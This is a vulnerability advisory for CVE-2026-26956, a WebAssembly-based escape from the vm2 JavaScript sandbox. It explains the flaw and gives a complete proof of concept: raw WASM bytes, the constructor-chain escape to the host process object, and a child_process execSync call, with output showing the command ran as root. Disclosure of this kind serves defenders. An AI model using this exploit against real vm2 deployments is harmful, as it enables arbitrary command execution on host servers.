CVE-2026-26956
VM2 Has a WASM Sandbox Escape
Description
## Summary Full sandbox escape with arbitrary code execution. Attacker code inside `VM.run()` obtains host process object and runs host commands with zero host cooperation. ## Details **Confirmed on:** vm2 3.10.4, Node.js v25.6.1 (x64 Linux) **Trigger:** Attacker-controlled code passed to `VM.run()` **Requires:** Node.js version with WebAssembly exception handling + JSTag support (tested on v25.6.1) vm2's sandbox security relies on two JavaScript-level mechanisms: (1) a code transformer that injects `handleException()` into JS `catch` clauses to wrap host-realm errors, and (2) bridge Proxies that wrap cross-context objects. Both operate entirely within JavaScript. WebAssembly's `try_table` instruction with a `JSTag` catch handler catches JavaScript exceptions at V8's C++ level — below JavaScript entirely. When an imported JS function throws a TypeError produced by Symbol-to-string coercion during stack formatting (`e.name = Symbol(); e.stack`), the WASM `try_table` catches it as an opaque `externref` and returns it as a normal function return value. This WASM exception-handling-to-return-value path is not sanitized by vm2 — the host-realm TypeError reaches attacker code unsanitized. Its constructor chain (`hostError.constructor.constructor`) resolves to a Function that returns the host process object, allowing for reflection outside of the vm2 context, leading to code execution. ## PoC ```js const { VM } = require("vm2"); console.log("vm2:", require("vm2/package.json").version, "| node:", process.version); new VM().run(` const before = typeof process; const err = new Error("x"); err.name = Symbol(); const wasm = new Uint8Array([ 0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00, 0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00, 0x02,0x19,0x02, 0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00, 0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02, 0x03,0x02,0x01,0x01, 0x07,0x0f,0x01, 0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01, 0x0a,0x12,0x01,0x10,0x00, 0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b ]); const instance = new WebAssembly.Instance( new WebAssembly.Module(wasm), { env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } } ); const hostError = instance.exports.catch_error(); const p = hostError.constructor.constructor("return process")(); const id = p.mainModule.require("child_process").execSync("id").toString().trim(); const log = p.mainModule.require("console").log; log(""); log("process before escape:", before); log("process after escape: ", typeof p); log("host pid: ", p.pid); log("host node version: ", p.version); log("RCE: ", id); `); ``` ``` > node poc.js vm2: 3.10.4 | node: v25.6.1 process before escape: undefined process after escape: object host pid: 217 host node version: v25.6.1 RCE: uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) ``` **Proof files** [poc.js](https://github.com/user-attachments/files/25285089/poc.js)